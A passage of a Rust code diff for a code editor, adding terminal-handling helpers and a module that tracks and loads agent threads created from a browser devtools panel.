+fn is_trusted(project: &Entity<Project>, worktree_id: WorktreeId, cx: &mut App) -> bool {
+    let Some(trusted_worktrees) = TrustedWorktrees::try_get_global(cx) else {
+        return true;
+    };
+    let worktree_store = project.read(cx).worktree_store();
+    trusted_worktrees.update(cx, |trusted_worktrees, cx| {
+        trusted_worktrees.can_trust(&worktree_store, worktree_id, cx)
+    })
+}
+
+/// A terminal item showing a task.
+struct TaskTerminal {
+    pane: Entity<Pane>,
+    index: usize,
+    view: Entity<TerminalView>,
+    in_terminal_panel: bool,
+}
+
+/// The terminal showing `task_id` in `workspace`, in the terminal panel or the center.
+fn find_terminal(workspace: &Workspace, task_id: &TaskId, cx: &App) -> Option<TaskTerminal> {
+    let panel_panes = workspace
+        .panel::<TerminalPanel>(cx)
+        .map(|panel| {
+            panel
+                .read(cx)
+                .panes()
+                .into_iter()
+                .cloned()
+                .collect::<Vec<_>>()
+        })
+        .unwrap_or_default();
+    let panes = panel_panes
+        .into_iter()
+        .map(|pane| (pane, true))
+        .chain(workspace.panes().iter().cloned().map(|pane| (pane, false)));
+    for (pane, in_terminal_panel) in panes {
+        let found = pane.read(cx).items().enumerate().find_map(|(index, item)| {
+            let view = item.act_as::<TerminalView>(cx)?;
+            let task = view.read(cx).terminal().read(cx).task()?;
+            (&task.spawned_task.id == task_id).then_some((index, view))
+        });
+        if let Some((index, view)) = found {
+            return Some(TaskTerminal {
+                pane,
+                index,
+                view,
+                in_terminal_panel,
+            });
+        }
+    }
+    None
+}
+
+/// Focuses the run's terminal once the current update has ended (R1.5).
+fn focus_terminal(
+    task_id: TaskId,
+    workspace: WeakEntity<Workspace>,
+    window: AnyWindowHandle,
+    cx: &mut App,
+) {
+    cx.defer(move |cx| {
+        let focused = window.update(cx, |_, window, cx| {
+            workspace.update(cx, |workspace, cx| {
+                let terminal = find_terminal(workspace, &task_id, cx)?;
+                if terminal.in_terminal_panel {
+                    workspace.open_panel::<TerminalPanel>(window, cx);
+                }
+                terminal.pane.update(cx, |pane, cx| {
+                    pane.activate_item(terminal.index, true, true, window, cx)
+                });
+                Some(())
+            })
+        });
+        if !matches!(focused, Ok(Ok(Some(())))) {
+            log::debug!("devtools_run event=focus_skipped reason=no_terminal");
+        }
+    });
+}
+
+/// Kills the run's dev server and closes its terminal. The kill is explicit: a closed terminal
+/// kills its process only when the `Terminal` is dropped, which a window closing does not make
+/// happen on time (GOTCHA G5).
+fn close_terminal(root: &Path, run: Run, cx: &mut App) {
+    let Some(task_id) = run.task_id else {
+        return;
+    };
+    let terminal = run
+        .workspace
+        .upgrade()
+        .and_then(|workspace| find_terminal(workspace.read(cx), &task_id, cx));
+    let Some(terminal) = terminal else {
+        // Gone with its workspace, whose drop killed it, or closed by hand.
+        log_event(
+            log::Level::Debug,
+            "terminal_gone",
+            root,
+            format!("run={}", run.id),
+        );
+        return;
+    };
+    terminal
+        .view
+        .read(cx)
+        .terminal()
+        .clone()
+        .update(cx, |terminal, _| terminal.kill_active_task());
+    let item_id = terminal.view.entity_id();
+    let closed = run.window.update(cx, |_, window, cx| {
+        terminal.pane.update(cx, |pane, cx| {
+            pane.close_item_by_id(item_id, SaveIntent::Skip, window, cx)
+        })
+    });
+    match closed {
+        Ok(close) => close.detach_and_log_err(cx),
+        // The window is gone or quitting: the process is killed, the tab goes with the window.
+        Err(_) => log_event(
+            log::Level::Debug,
+            "tab_left",
+            root,
+            format!("run={}", run.id),
+        ),
+    }
+}
+
+fn show_toast(
+    workspace: &mut Workspace,
+    id: NotificationId,
+    message: impl Into<std::borrow::Cow<'static, str>>,
+    cx: &mut Context<Workspace>,
+) {
+    workspace.show_toast(Toast::new(id, message), cx);
+}
+
+fn log_event(level: log::Level, event: &str, root: &Path, fields: String) {
+    let separator = if fields.is_empty() { "" } else { " " };
+    log_line(
+        level,
+        format!(
+            "devtools_run event={event} root={}{separator}{fields}",
+            loggable_root(root)
+        ),
+    );
+}
diff --git a/crates/agent_ui/src/devtools_threads.rs b/crates/agent_ui/src/devtools_threads.rs
new file mode 100644
index 0000000..2da52ba
--- /dev/null
+++ b/crates/agent_ui/src/devtools_threads.rs
@@ -0,0 +1,845 @@
+//! Devtools threads (story 055, design.md §B3): the threads a browser devtools panel creates for
+//! a project root, kept apart from the editor's threads.
+//!
+//! A thread is marked in memory when it is created ([`DevtoolsThreads`]), and the mark is written
+//! to `thread_organization.devtools_root` on its first metadata save carrying a `session_id`
+//! (D4): the organization store refuses drafts (GOTCHA G8), so an empty devtools thread leaves
+//! nothing behind and vanishes with Zeo's own draft cleanup after a restart (R5.3).
+//!
+//! Neither creating nor loading a devtools thread changes the thread the editor shows
+//! (Assumption A2): both go into the window's retained threads.
+//!
+//! Every line logged here is `devtools_threads event=<event>` followed by `key=value` fields, and
+//! names the root and the thread id; never a title, a message or an error's text (R9.2).
+
+use std::cell::RefCell;
+use std::cmp::Reverse;
+use std::fmt;
+use std::path::{Path, PathBuf};
+use std::rc::Rc;
+use std::time::{Duration, Instant};
+
+use anyhow::Result;
+use chrono::{DateTime, Utc};
+use collections::{HashMap, HashSet};
+use futures::channel::oneshot;
+use gpui::{
+    AnyWindowHandle, App, AppContext as _, Context, Entity, Global, Subscription, Task, WeakEntity,
+};
+use workspace::Workspace;
+
+use crate::agent_panel::CreateThreadOptions;
+use crate::browser_channel;
+use crate::browser_wire::{ChannelError, ThreadInfo, ThreadState};
+use crate::conversation_view::ConversationView;
+use crate::devtools_delivery::{DeliveryError, resolve_window_for_path, workspaces_by_recency};
+use crate::devtools_projects::{loggable_root, normalized};
+use crate::thread_metadata_store::{ThreadId, ThreadMetadata, ThreadMetadataStore};
+use crate::thread_organization::{self, ThreadOrganizationStore};
+use crate::{Agent, AgentPanel, AgentThreadSource};
+
+/// How long `created` (and a load) waits for the thread's agent connection (GOTCHA G7).
+pub const CONNECT_TIMEOUT: Duration = Duration::from_secs(30);
+
+/// The most threads [`list`] answers (R5.4).
+pub const LISTED_THREADS: usize = 50;
+
+/// The most idle-released drafts [`DevtoolsThreads`] remembers; past it the oldest is forgotten
+/// and answers `NotFound` like any other empty draft with no view.
+const REMEMBERED_RELEASES: usize = 64;
+
+/// Why a devtools thread could not be created or loaded. Every variant naming a root shows it,
+/// and [`DevtoolsThreadError::channel_error`] is the wire's answer for it.
+#[derive(Clone, Debug, PartialEq, Eq)]
+pub enum DevtoolsThreadError {
+    /// No window holds a worktree containing the root.
+    ProjectClosed { root: PathBuf },
+    /// The id names no devtools thread, or one that no longer exists.
+    NotFound { thread_id: String },
+    /// The thread exists but its agent did not become ready; `reason` is a fixed code.
+    AgentStartFailed { root: PathBuf, reason: &'static str },
+}
+
+impl DevtoolsThreadError {
+    pub fn channel_error(&self) -> ChannelError {
+        match self {
+            Self::ProjectClosed { .. } => ChannelError::ProjectClosed,
+            Self::NotFound { .. } => ChannelError::NotFound,
+            Self::AgentStartFailed { .. } => ChannelError::AgentStartFailed,
+        }
+    }
+
+    fn code(&self) -> &'static str {
+        match self {
+            Self::ProjectClosed { .. } => "project_closed",
+            Self::NotFound { .. } => "not_found",
+            Self::AgentStartFailed { reason, .. } => reason,
+        }
+    }
+}
+
+impl fmt::Display for DevtoolsThreadError {
+    fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
+        match self {
+            Self::ProjectClosed { root } => write!(
+                formatter,
+                "devtools thread for {}: no Zeo window has this project open",
+                root.display()
+            ),
+            Self::NotFound { thread_id } => {
+                write!(formatter, "thread {thread_id} is not a devtools thread")
+            }
+            Self::AgentStartFailed { root, reason } => write!(
+                formatter,
+                "devtools thread for {}: the agent did not start ({reason})",
+                root.display()
+            ),
+        }
+    }
+}
+
+impl std::error::Error for DevtoolsThreadError {}
+
+#[derive(Clone, Copy, Debug, PartialEq, Eq)]
+enum Promotion {
+    /// A draft: the mark lives in memory only.
+    Pending,
+    Persisted,
+    /// The store refused the mark; it stays in memory for this run and is not retried.
+    Refused,
+}
+
+struct Created {
+    root: PathBuf,
+    /// Creation order within this run, newest highest.
+    order: u64,
+    promotion: Promotion,
+}
+
+/// A devtools draft an agent panel released under its idle cap.
+struct Released {
+    /// Held weakly: a panel gone with its window must not be kept alive by this record.
+    panel: WeakEntity<AgentPanel>,
+    /// Release order within this run, newest highest.
+    order: u64,
+}
+
+/// The app-wide devtools marks: the threads created this run and a copy of the persisted ones.
+pub struct DevtoolsThreads {
+    created: HashMap<ThreadId, Created>,
+    next_order: u64,
+    /// `thread_organization.devtools_root`, re-read whenever that store changes, so that
+    /// [`DevtoolsThreads::is_devtools`] answers without a `cx`.
+    persisted: HashMap<ThreadId, PathBuf>,
+    /// When a create or a load last began waiting for each thread's connection, on the executor's
+    /// clock: the agent panel keeps a connecting devtools thread only within [`CONNECT_TIMEOUT`].
+    waiting_since: HashMap<ThreadId, Instant>,
+    /// The drafts an agent panel released under its idle cap (design.md §B3 v4). While the panel
+    /// that released one is still in an open window, [`ensure_loaded`] reloads it from its metadata
+    /// (R5.11); a draft whose window closed is forgotten and answers `NotFound` (R5.9), even once
+    /// its project reopens, because the reopened window has a new panel.
+    released: HashMap<ThreadId, Released>,
+    next_release: u64,
+    _subscriptions: Vec<Subscription>,
+}
+
+struct GlobalDevtoolsThreads(Entity<DevtoolsThreads>);
+
+impl Global for GlobalDevtoolsThreads {}
+
+impl DevtoolsThreads {
+    /// The registry, created on first use; creating it starts the promotion hook.
+    pub fn global(cx: &mut App) -> Entity<Self> {
+        if let Some(global) = cx.try_global::<GlobalDevtoolsThreads>() {
+            return global.0.clone();
+        }
+        let threads = cx.new(Self::new);
+        cx.set_global(GlobalDevtoolsThreads(threads.clone()));
+        threads
+    }
+
+    /// The registry, if anything has created it yet.
+    pub fn try_global(cx: &App) -> Option<Entity<Self>> {
+        cx.try_global::<GlobalDevtoolsThreads>()
+            .map(|global| global.0.clone())
+    }
+
+    fn new(cx: &mut Context<Self>) -> Self {
+        let mut subscriptions = Vec::new();
+        match ThreadMetadataStore::try_global(cx) {
+            Some(metadata) => subscriptions
+                .push(cx.observe(&metadata, |this, metadata, cx| this.promote(&metadata, cx))),
+            None => log::warn!(
+                "devtools_threads event=no_metadata_store: devtools marks will not be persisted"
+            ),
+        }
+        // `agent_ui::init` installs the organization store; a host that did not (045's browser
+        // channel fixtures) gets it here, as the mark has nowhere else to persist. Never replaced
+        // when it is already running.
+        if ThreadOrganizationStore::try_global(cx).is_none() {
+            thread_organization::init(cx);
+        }
+        let organization = ThreadOrganizationStore::global(cx);
+        subscriptions.push(cx.observe(&organization, |this, organization, cx| {
+            this.persisted = persisted_marks(organization.read(cx));
+            cx.notify();
+        }));
+        let this = cx.weak_entity();
+        subscriptions.push(cx.on_window_closed(move |cx, _| {
+            let this = this.clone();
+            // Once the close has settled, so no window is leased while the others are read.
+            cx.defer(move |cx| {
+                // A registry gone with the app has nothing left to forget.
+                this.update(cx, |threads, cx| threads.forget_closed_releases(cx))
+                    .ok();
+            });
+        }));
+        let persisted = persisted_marks(organization.read(cx));
+        Self {
+            created: HashMap::default(),
+            next_order: 0,
+            persisted,
+            waiting_since: HashMap::default(),
+            released: HashMap::default(),
+            next_release: 0,
+            _subscriptions: subscriptions,
+        }
+    }
+
+    /// The root `thread_id` is a devtools thread of, from memory or from the store; `None` for an
+    /// editor thread. What the thread list's badge reads (design.md §B8).
+    pub fn is_devtools(&self, thread_id: ThreadId) -> Option<PathBuf> {
+        self.created
+            .get(&thread_id)
+            .map(|created| created.root.clone())
+            .or_else(|| self.persisted.get(&thread_id).cloned())
+    }
+
+    fn mark(&mut self, thread_id: ThreadId, root: PathBuf, cx: &mut Context<Self>) {
+        self.start_waiting(thread_id, cx);
+        self.next_order += 1;
+        self.created.insert(
+            thread_id,
+            Created {
+                root,
+                order: self.next_order,
+                promotion: Promotion::Pending,
+            },
+        );
+        cx.notify();
+    }
+
+    fn start_waiting(&mut self, thread_id: ThreadId, cx: &Context<Self>) {
+        self.waiting_since
+            .insert(thread_id, cx.background_executor().now());
+    }
+
+    /// Remembers that `panel` released the devtools draft `thread_id` under its idle cap. Only an
+    /// unpromoted draft of this run is remembered: a thread with a conversation reloads anyway.
+    fn remember_released(&mut self, thread_id: ThreadId, panel: WeakEntity<AgentPanel>) {
+        let is_draft = self
+            .created
+            .get(&thread_id)
+            .is_some_and(|created| created.promotion == Promotion::Pending);
+        if !is_draft {
+            return;
+        }
+        // Not the window check here: the releasing panel is being updated, and its leased window
+        // would read as holding nothing.
+        self.released
+            .retain(|_, released| released.panel.upgrade().is_some());
+        self.next_release += 1;
+        self.released.insert(
+            thread_id,
+            Released {
+                panel,
+                order: self.next_release,
+            },
+        );
+        while self.released.len() > REMEMBERED_RELEASES {
+            let Some(oldest) = self
+                .released
+                .iter()
+                .min_by_key(|(_, released)| released.order)
+                .map(|(thread_id, _)| *thread_id)
+            else {
+                break;
+            };
+            self.released.remove(&oldest);
+        }
+    }
+
+    /// Whether `thread_id` is a draft an agent panel released under its idle cap, and that panel
+    /// is still in an open window (R5.11).
+    fn released_while_open(&self, thread_id: ThreadId, cx: &App) -> bool {
+        self.released
+            .get(&thread_id)
+            .is_some_and(|released| panel_in_open_window(&released.panel, cx))
+    }
+
+    /// Forgets every released draft whose panel is no longer in an open window: its project's
+    /// window closed, so the draft went with it (R5.9).
+    fn forget_closed_releases(&mut self, cx: &App) {
+        self.released
+            .retain(|_, released| panel_in_open_window(&released.panel, cx));
+    }
+
+    /// The promotion hook: a marked draft whose metadata now carries a session gets its mark
+    /// written, once (R5.2). Runs after the metadata store's update has ended, so the
+    /// organization store may read it.
+    fn promote(&mut self, metadata: &Entity<ThreadMetadataStore>, cx: &mut Context<Self>) {
+        let promoted: Vec<(ThreadId, PathBuf)> = self
+            .created
+            .iter()
+            .filter(|(_, created)| created.promotion == Promotion::Pending)
+            .filter(|(thread_id, _)| {
+                metadata
+                    .read(cx)
+                    .entry(**thread_id)
+                    .is_some_and(|entry| !entry.is_draft())
+            })
+            .map(|(thread_id, created)| (*thread_id, created.root.clone()))
+            .collect();
+        if promoted.is_empty() {
+            return;
+        }
+        let organization = ThreadOrganizationStore::try_global(cx);
+        for (thread_id, root) in promoted {
+            let written = match &organization {
+                Some(organization) => organization
+                    .update(cx, |store, cx| {
+                        store.set_devtools_root(thread_id, root.clone(), cx)
+                    })
+                    .map_err(|error| error.to_string()),
+                None => Err("the organization store is not running".to_string()),
+            };
+            let promotion = match written {
+                Ok(()) => {
+                    log_event(
+                        log::Level::Info,
+                        "mark_persisted",
+                        &root,
+                        format!("thread={}", thread_id.to_key_string()),
+                    );
+                    Promotion::Persisted
+                }
+                Err(error) => {
+                    // The error names ids only (`OrganizeError`'s `Display`).
+                    log_event(
+                        log::Level::Warn,
+                        "mark_not_persisted",
+                        &root,
+                        format!("thread={} reason={:?}", thread_id.to_key_string(), error),
+                    );
+                    Promotion::Refused
+                }
+            };
+            if let Some(created) = self.created.get_mut(&thread_id) {
+                created.promotion = promotion;
+            }
+            self.released.remove(&thread_id);
+        }
+    }
+}
+
+/// Whether a create or a load of the devtools thread `thread_id` began less than
+/// [`CONNECT_TIMEOUT`] ago, so a browser devtools panel may still be waiting for its connection.
+/// The agent panel asks it before releasing a thread that is still connecting; read-only, it never
+/// builds the registry, which `create` and `ensure_loaded` do.
+pub fn awaits_connection(thread_id: ThreadId, cx: &App) -> bool {
+    let Some(threads) = DevtoolsThreads::try_global(cx) else {
+        return false;
+    };
+    let now = cx.background_executor().now();
+    threads
+        .read(cx)
+        .waiting_since
+        .get(&thread_id)
+        .is_some_and(|since| now.saturating_duration_since(*since) < CONNECT_TIMEOUT)
+}
+
+/// Called by the agent panel for each thread it released under its idle cap: a devtools draft
+/// among them stays loadable while `panel` is in an open window (R5.11). Read-only when nothing
+/// built the registry, as then no devtools thread exists.
+pub fn note_released(thread_id: ThreadId, panel: WeakEntity<AgentPanel>, cx: &mut App) {
+    if let Some(threads) = DevtoolsThreads::try_global(cx) {
+        threads.update(cx, |threads, _| threads.remember_released(thread_id, panel));
+    }
+}
+
+/// Whether `panel` is alive and the agent panel of a workspace in an open window.
+fn panel_in_open_window(panel: &WeakEntity<AgentPanel>, cx: &App) -> bool {
+    let Some(panel) = panel.upgrade() else {
+        return false;
+    };
+    workspaces_by_recency(cx)
+        .into_iter()
+        .flat_map(|(_, workspaces)| workspaces)
+        .any(|workspace| workspace.read(cx).panel::<AgentPanel>(cx).as_ref() == Some(&panel))
+}
+
+fn persisted_marks(organization: &ThreadOrganizationStore) -> HashMap<ThreadId, PathBuf> {
+    organization
+        .devtools_roots()
+        .map(|(thread_id, root)| (thread_id, normalized(root)))
+        .collect()
+}
+
+/// Creates an empty devtools thread for `root` in the window holding it, without changing the
+/// thread that window shows, and answers once the thread's agent connection is ready (R5.1,
+/// GOTCHA G7). After [`CONNECT_TIMEOUT`] it answers `AgentStartFailed`; the thread stays, marked.
+pub fn create(root: &Path, cx: &mut App) -> Task<Result<ThreadInfo>> {
+    let root = normalized(root);
+    let started = Instant::now();
+    let (thread_id, view) = match start_thread(&root, cx) {
+        Ok(created) => created,
+        Err(error) => {
+            log_event(
+                log::Level::Warn,
+                "create_failed",
+                &root,
+                format!("reason={}", error.code()),
+            );
+            return Task::ready(Err(error.into()));
+        }
+    };
+    DevtoolsThreads::global(cx).update(cx, |threads, cx| threads.mark(thread_id, root.clone(), cx));
+
+    let ready = when_ready(&view, &root, cx);
+    let view = view.downgrade();
+    cx.spawn(async move |cx| {
+        let info = ready
+            .await
+            .and_then(|()| cx.update(|cx| ready_info(&view, &root, cx)));
+        let key = thread_id.to_key_string();
+        let ms = started.elapsed().as_millis();
+        match &info {
+            Ok(_) => log_event(
+                log::Level::Info,
+                "thread_created",
+                &root,
+                format!("thread={key} ms={ms}"),
+            ),
+            Err(error) => log_event(
+                log::Level::Warn,
+                "create_failed",
+                &root,
+                format!("thread={key} reason={} ms={ms}", error.code()),
+            ),
+        }
+        info.map_err(anyhow::Error::from)
+    })
+}
+
+fn start_thread(
+    root: &Path,
+    cx: &mut App,
+) -> Result<(ThreadId, Entity<ConversationView>), DevtoolsThreadError> {
+    let (window, workspace, panel) = panel_for(root, cx)?;
+    let work_dirs = workspace.read(cx).project().read(cx).default_path_list(cx);
+    let (thread_id, view) = window
+        .update(cx, |_, window, cx| {
+            panel.update(cx, |panel, cx| {
+                let thread_id = panel.create_thread_with_options(
+                    CreateThreadOptions {
+                        work_dirs: Some(work_dirs),
+                        ..Default::default()
+                    },
+                    AgentThreadSource::Devtools,
+                    window,
+                    cx,
+                );
+                (thread_id, panel.retained_threads().get(&thread_id).cloned())
+            })
+        })
+        .map_err(|_| window_closed(root))?;
+    let view = view.ok_or_else(|| DevtoolsThreadError::AgentStartFailed {
+        root: root.to_path_buf(),
+        reason: "released",
+    })?;
+    Ok((thread_id, view))
+}
+
+/// The window holding `root`, the workspace in it, and that workspace's agent panel.
+fn panel_for(
+    root: &Path,
+    cx: &App,
+) -> Result<(AnyWindowHandle, Entity<Workspace>, Entity<AgentPanel>), DevtoolsThreadError> {
+    let failed = |reason| DevtoolsThreadError::AgentStartFailed {
+        root: root.to_path_buf(),
+        reason,
+    };
+    let (window, workspace) = resolve_window_for_path(root, cx).map_err(|error| match error {
+        DeliveryError::NoWindow { .. } => DevtoolsThreadError::ProjectClosed {
+            root: root.to_path_buf(),
+        },
+        DeliveryError::AiDisabled { .. } => failed("ai_disabled"),
+        DeliveryError::NoAgentPanel { .. } => failed("no_agent_panel"),
+    })?;
+    let panel = workspace
+        .read(cx)
+        .panel::<AgentPanel>(cx)
+        .ok_or_else(|| failed("no_agent_panel"))?;
+    Ok((window, workspace, panel))
+}
+
+/// The window resolved for `root` closed before it could be updated.
+fn window_closed(root: &Path) -> DevtoolsThreadError {
+    DevtoolsThreadError::ProjectClosed {
+        root: root.to_path_buf(),
+    }
+}
+
+/// Every devtools thread of `root`: the ones created this run, newest first, then the persisted
+/// ones from earlier runs, newest first; at most [`LISTED_THREADS`] (R5.4). Never an editor
+/// thread, another root's, an archived one, or one whose thread no longer exists — an empty draft
+/// gone with its window included, by the same [`is_gone`] that makes [`ensure_loaded`] answer
+/// `NotFound`, so every listed thread answers a subscribe (R5.9).
+pub fn list(root: &Path, cx: &App) -> Vec<ThreadInfo> {
+    let root = normalized(root);
+    let metadata = ThreadMetadataStore::try_global(cx);
+    let metadata = metadata.as_ref().map(|store| store.read(cx));
+    let entry = |thread_id: ThreadId| metadata.and_then(|store| store.entry(thread_id));
+
+    let mut created_this_run: Vec<(u64, ThreadId)> = DevtoolsThreads::try_global(cx)
+        .map(|threads| {
+            threads
+                .read(cx)
+                .created
+                .iter()
+                .filter(|(_, created)| created.root == root)
+                .map(|(thread_id, created)| (created.order, *thread_id))
+                .collect()
+        })
+        .unwrap_or_default();
+    created_this_run.sort_by_key(|(order, _)| Reverse(*order));
+    let created_ids: HashSet<ThreadId> = created_this_run.iter().map(|(_, id)| *id).collect();
+
+    let mut earlier_runs: Vec<(DateTime<Utc>, ThreadId)> = persisted_of(&root, cx)
+        .into_iter()
+        .filter(|thread_id| !created_ids.contains(thread_id))
+        .filter_map(|thread_id| {
+            let entry = entry(thread_id)?;
+            Some((entry.created_at.unwrap_or(entry.updated_at), thread_id))
+        })
+        .collect();
+    earlier_runs.sort_by_key(|(created_at, _)| Reverse(*created_at));
+
+    created_this_run
+        .into_iter()
+        .map(|(_, thread_id)| thread_id)
+        .chain(earlier_runs.into_iter().map(|(_, thread_id)| thread_id))
+        .filter_map(|thread_id| {
+            let entry = entry(thread_id);
+            if entry.is_some_and(|entry| entry.archived) {
+                return None;
+            }
+            let view = find_view(thread_id, cx);
+            if is_gone(thread_id, view.is_some(), cx) {
+                return None;
+            }
+            view.and_then(|view| browser_channel::thread_info_of(&view, cx))
+                .or_else(|| entry.map(|entry| stored_info(entry, &root)))
+        })
+        .take(LISTED_THREADS)
+        .collect()
+}
+
+/// Whether `thread_id` (wire form, [`ThreadId::to_key_string`]) is a devtools thread of `root`,
+/// in memory or in the store, and not archived. Roots compare component-wise, so `/p/app/` is
+/// `/p/app` (R5.5).
+pub fn is_devtools_of(thread_id: &str, root: &Path, cx: &App) -> bool {
+    find_marked(thread_id, cx).is_some_and(|(_, marked_root)| marked_root == normalized(root))
+}
+
+/// Makes sure the devtools thread `thread_id` is loaded in a window, loading a persisted one into
+/// its project's window in the background (R5.6, Assumption A2), and answers once its agent
+/// connection is ready, within [`CONNECT_TIMEOUT`]. An archived one answers `NotFound`, and so
+/// does an empty one no window holds any more (R5.9), unless its agent panel released it under
+/// the idle cap and is still open: that one is reloaded from its metadata (R5.11).
+pub fn ensure_loaded(thread_id: &str, cx: &mut App) -> Task<Result<()>> {
+    // After a restart nothing may have built the registry yet; the wait below must be recorded
+    // in it, or the agent panel would release the thread while it connects.
+    let threads = DevtoolsThreads::global(cx);
+    let not_found = || {
+        Task::ready(Err(DevtoolsThreadError::NotFound {
+            thread_id: thread_id.to_string(),
+        }
+        .into()))
+    };
+    let Some((id, root)) = find_marked(thread_id, cx) else {
+        return not_found();
+    };
+    let live_view = find_view(id, cx);
+    // Decided before the window lookup, so the answer is the same whether the project is closed,
+    // reopened without its agent panel, or reopened; and by the predicate `list` skips with.
+    if is_gone(id, live_view.is_some(), cx) {
+        log_event(
+            log::Level::Info,
+            "load_failed",
+            &root,
+            format!("thread={thread_id} reason=not_found"),
+        );
+        return not_found();
+    }
+    threads.update(cx, |threads, cx| threads.start_waiting(id, cx));
+    let started = Instant::now();
+    let view = match live_view {
+        Some(view) => Ok(view),
+        None => load_in_background(id, &root, cx),
+    };
+    let view = match view {
+        Ok(view) => view,
+        Err(error) => {
+            log_event(
+                log::Level::Warn,
+                "load_failed",
+                &root,
+                format!("thread={thread_id} reason={}", error.code()),
+            );
+            return Task::ready(Err(error.into()));
+        }
+    };
+    // Held again: if the idle cap releases it later, that release is remembered afresh.
+    threads.update(cx, |threads, _| threads.released.remove(&id));
+    let ready = when_ready(&view, &root, cx);
+    cx.spawn(async move |_| {
+        let ready = ready.await;
+        let key = id.to_key_string();
+        let ms = started.elapsed().as_millis();
+        match &ready {
+            Ok(()) => log_event(
+                log::Level::Debug,
+                "thread_loaded",
+                &root,
+                format!("thread={key} ms={ms}"),
+            ),
+            Err(error) => log_event(
+                log::Level::Warn,
+                "load_failed",
+                &root,
+                format!("thread={key} reason={} ms={ms}", error.code()),
+            ),
+        }
+        ready.map_err(anyhow::Error::from)
+    })
+}
+
+fn load_in_background(
+    thread_id: ThreadId,
+    root: &Path,
+    cx: &mut App,
+) -> Result<Entity<ConversationView>, DevtoolsThreadError> {
+    let metadata = ThreadMetadataStore::try_global(cx)
+        .and_then(|store| store.read(cx).entry(thread_id).cloned())
+        .ok_or_else(|| DevtoolsThreadError::NotFound {
+            thread_id: thread_id.to_key_string(),
+        })?;
+    let (window, _, panel) = panel_for(root, cx)?;
+    window
+        .update(cx, |_, window, cx| {
+            panel.update(cx, |panel, cx| {
+                panel.load_thread_in_background(
+                    Agent::from(metadata.agent_id.clone()),
+                    thread_id,
+                    Some(metadata.folder_paths().clone()),
+                    metadata.title.clone(),
+                    AgentThreadSource::Devtools,
+                    window,
+                    cx,
+                )
+            })
+        })
+        .map_err(|_| window_closed(root))
+}
+
+/// Whether the devtools thread `thread_id` is gone: an empty draft nothing holds any more, closed
+/// with its project before its first message, so there is nothing to load (R5.9). The one
+/// exception is a draft the idle cap released from a panel that is still open (R5.11): a window
+/// check alone would also bring back a draft gone with its window once the project reopens.
+/// `has_live_view` is read from the view, not from the release record, so a released draft being
+/// reloaded is not gone. Shared by [`list`] and [`ensure_loaded`] so they never disagree.
+fn is_gone(thread_id: ThreadId, has_live_view: bool, cx: &App) -> bool {
+    let released_while_open = DevtoolsThreads::try_global(cx)
+        .is_some_and(|threads| threads.read(cx).released_while_open(thread_id, cx));
+    !has_live_view && !has_conversation(thread_id, cx) && !released_while_open
+}
+
+/// Whether `thread_id` outlives its window: its devtools mark is persisted, or its metadata
+/// carries a session (its first message went out, even if persisting the mark was refused).
+fn has_conversation(thread_id: ThreadId, cx: &App) -> bool {
+    let mark_persisted = ThreadOrganizationStore::try_global(cx).is_some_and(|organization| {
+        organization
+            .read(cx)
+            .devtools_roots()
+            .any(|(id, _)| id == thread_id)
+    });
+    let has_session = ThreadMetadataStore::try_global(cx).is_some_and(|store| {
+        store
+            .read(cx)
+            .entry(thread_id)
+            .is_some_and(|entry| !entry.is_draft())
+    });
+    mark_persisted || has_session
+}
+
+/// The marked thread whose wire id is `thread_id`, with its root. Exact string match: a thread
+/// is only ever named by the form [`ThreadId::to_key_string`] writes. An archived thread is not
+/// found, as [`list`] does not show it: answering it would load it without unarchiving it.
+fn find_marked(thread_id: &str, cx: &App) -> Option<(ThreadId, PathBuf)> {
+    let (id, root) = marked_in_memory(thread_id, cx).or_else(|| marked_in_store(thread_id, cx))?;
+    let archived = ThreadMetadataStore::try_global(cx)
+        .and_then(|store| store.read(cx).entry(id).map(|entry| entry.archived))
+        .unwrap_or(false);
+    (!archived).then_some((id, root))
+}
+
+fn marked_in_memory(thread_id: &str, cx: &App) -> Option<(ThreadId, PathBuf)> {
+    let threads = DevtoolsThreads::try_global(cx)?;
+    threads
+        .read(cx)
+        .created
+        .iter()
+        .find(|(id, _)| id.to_key_string() == thread_id)
+        .map(|(id, created)| (*id, created.root.clone()))
+}
+
+fn marked_in_store(thread_id: &str, cx: &App) -> Option<(ThreadId, PathBuf)> {
+    let organization = ThreadOrganizationStore::try_global(cx)?;
+    organization
+        .read(cx)
+        .devtools_roots()
+        .find(|(id, _)| id.to_key_string() == thread_id)
+        .map(|(id, root)| (id, normalized(root)))
+}
+
+/// The persisted devtools threads of `root`, read from the store itself: [`list`] has no `cx` to
+/// create the registry with.
+fn persisted_of(root: &Path, cx: &App) -> Vec<ThreadId> {
+    ThreadOrganizationStore::try_global(cx)
+        .map(|organization| {
+            organization
+                .read(cx)
+                .devtools_roots()
+                .filter(|(_, marked_root)| normalized(marked_root) == root)
+                .map(|(thread_id, _)| thread_id)
+                .collect()
+        })
+        .unwrap_or_default()
+}
+
+/// The view holding `thread_id` in any window's agent panel, loaded or still connecting, the
+/// panel's parked draft included.
+fn find_view(thread_id: ThreadId, cx: &App) -> Option<Entity<ConversationView>> {
+    workspaces_by_recency(cx)
+        .into_iter()
+        .flat_map(|(_, workspaces)| workspaces)
+        .filter_map(|workspace| workspace.read(cx).panel::<AgentPanel>(cx))
+        .find_map(|panel| panel.read(cx).conversation_view_for(thread_id, cx))
+}
+
+/// A thread no window holds, as its metadata describes it.
+fn stored_info(entry: &ThreadMetadata, root: &Path) -> ThreadInfo {
+    ThreadInfo {
+        thread_id: entry.thread_id.to_key_string(),
+        title: browser_channel::capped_title(&entry.display_title()),
+        project: root
+            .file_name()
+            .map(|name| name.to_string_lossy().into_owned())
+            .unwrap_or_else(|| root.display().to_string()),
+        agent: entry.agent_id.to_string(),
+        status: ThreadState::Idle,
+        followed: false,
+    }
+}
+
+fn ready_info(
+    view: &WeakEntity<ConversationView>,
+    root: &Path,
+    cx: &App,
+) -> Result<ThreadInfo, DevtoolsThreadError> {
+    view.upgrade()
+        .and_then(|view| browser_channel::thread_info_of(&view, cx))
+        .ok_or_else(|| DevtoolsThreadError::AgentStartFailed {
+            root: root.to_path_buf(),
+            reason: "released",
+        })
+}
+
+/// Whether `view`'s agent connection is ready (`Some(Ok)`), has failed (`Some(Err)` with a fixed
+/// code), or is still connecting (`None`).
+fn readiness(view: &ConversationView) -> Option<Result<(), &'static str>> {
+    if view.root_thread_view().is_some() {
+        Some(Ok(()))
+    } else if view.load_error().is_some() {
+        Some(Err("load_error"))
+    } else if view.as_connected().is_some() {
